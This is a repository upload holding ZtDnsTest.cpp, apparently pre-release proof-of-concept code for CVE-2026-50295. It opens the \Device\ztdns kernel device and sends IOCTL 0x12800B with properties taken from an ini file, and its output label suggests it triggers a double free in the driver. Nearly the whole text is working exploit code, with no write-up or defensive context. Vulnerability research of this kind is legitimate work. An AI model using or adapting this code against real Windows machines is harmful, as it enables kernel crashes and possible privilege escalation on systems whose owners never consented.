Upload files to "CVE-2026-50295_pre-release"

CVE-2026-50295_pre-release/ZtDnsTest.cpp

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+// MyFaultTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
+//
+#include <iostream>
+#include <Windows.h>
+
+#include "ntdll.h"
+#pragma comment(lib, "ntdll")
+
+#include <shlwapi.h>
+#pragma comment(lib, "Shlwapi.lib")
+
+struct _ZT_GLOBAL_PROPERTIES
+{
+	bool fEnableFilters;
+	bool fPersistFilters;
+	bool fAuditMode;
+	bool fAllowMdns;
+	bool fAllowPlaintextDns;
+	bool fBlockLocalIps;
+	bool fAllowIcsDhcpServer;
+	DWORD dwUnicastLifetime;
+	DWORD MaxRecordAge;
+};
+
+
+_ZT_GLOBAL_PROPERTIES GetConfig() {
+
+	_ZT_GLOBAL_PROPERTIES Properties = { 0 };
+
+	WCHAR szIniPath[MAX_PATH + 1] = { 0 };
+
+	GetModuleFileName(NULL, szIniPath, MAX_PATH);
+	PathRemoveFileSpec(szIniPath);
+	PathAppendW(szIniPath, L"ztdns.ini");
+
+
+	UINT fEnableFilters = GetPrivateProfileIntW(L"Config", L"fEnableFilters", 0, szIniPath);
+	UINT fPersistFilters = GetPrivateProfileIntW(L"Config", L"fPersistFilters", 0, szIniPath);
+	UINT fAuditMode = GetPrivateProfileIntW(L"Config", L"fAuditMode", 0, szIniPath);
+	UINT fAllowMdns = GetPrivateProfileIntW(L"Config", L"fAllowMdns", 0, szIniPath);
+	UINT fAllowPlaintextDns = GetPrivateProfileIntW(L"Config", L"fAllowPlaintextDns", 0, szIniPath);
+	UINT fBlockLocalIps = GetPrivateProfileIntW(L"Config", L"fBlockLocalIps", 0, szIniPath);
+	UINT fAllowIcsDhcpServer = GetPrivateProfileIntW(L"Config", L"fAllowIcsDhcpServer", 0, szIniPath);
+	UINT dwUnicastLifetime = GetPrivateProfileIntW(L"Config", L"dwUnicastLifetime", 0, szIniPath);
+	UINT MaxRecordAge = GetPrivateProfileIntW(L"Config", L"MaxRecordAge", 0, szIniPath);
+
+
+	Properties.fEnableFilters = fEnableFilters;
+	Properties.fPersistFilters = fPersistFilters;
+	Properties.fAuditMode = fAuditMode;
+	Properties.fAllowMdns = fAllowMdns;
+	Properties.fAllowPlaintextDns = fAllowPlaintextDns;
+	Properties.fBlockLocalIps = fBlockLocalIps;
+	Properties.fAllowIcsDhcpServer = fAllowIcsDhcpServer;
+	Properties.dwUnicastLifetime = dwUnicastLifetime;
+	Properties.MaxRecordAge = MaxRecordAge;
+
+	return Properties;
+}
+
+void ZtSetGlobalProperties(IN HANDLE hDevice) {
+
+	DWORD   InputBufferLength = 0x10;
+	PVOID   InputBuffer = malloc(InputBufferLength);
+
+	DWORD   OutputBufferLength = 0x10;
+	PVOID   OutputBuffer = malloc(OutputBufferLength);
+
+	memset(InputBuffer, 0, InputBufferLength);
+	memset(OutputBuffer, 0, OutputBufferLength);
+
+
+	IO_STATUS_BLOCK IoStatusBlock = { 0 };
+
+	_ZT_GLOBAL_PROPERTIES* pProperties = (_ZT_GLOBAL_PROPERTIES*)InputBuffer;
+
+	_ZT_GLOBAL_PROPERTIES Properties = GetConfig();
+
+	*pProperties = Properties;
+
+	NTSTATUS Status = NtDeviceIoControlFile(
+		hDevice,
+		NULL,
+		NULL,
+		NULL,
+		&IoStatusBlock,
+		0x12800B,
+		InputBuffer,
+		InputBufferLength,
+		OutputBuffer,
+		OutputBufferLength);
+	printf("DoubleFree Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
+
+	for (int i = 0; i < OutputBufferLength; ++i) {
+		printf("%x", *((char*)OutputBuffer + i));
+	}
+}
+
+HANDLE OpenDevice() {
+	HANDLE hDevice = NULL;
+
+	PCWSTR lpcwName = L"\\Device\\ztdns\\xxx";
+	UNICODE_STRING usName = { 0 };
+
+	RtlInitUnicodeString(&usName, (PWSTR)lpcwName);
+
+	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
+	InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
+	IO_STATUS_BLOCK IoStatusBlock = { 0 };
+
+	NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
+		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, 0, NULL, 0);
+
+	printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information);
+
+	return hDevice;
+}
+
+int wmain(int argc, WCHAR* argv[])
+{
+	HANDLE hDevice = OpenDevice();
+
+	ZtSetGlobalProperties(hDevice);
+
+	getchar();
+}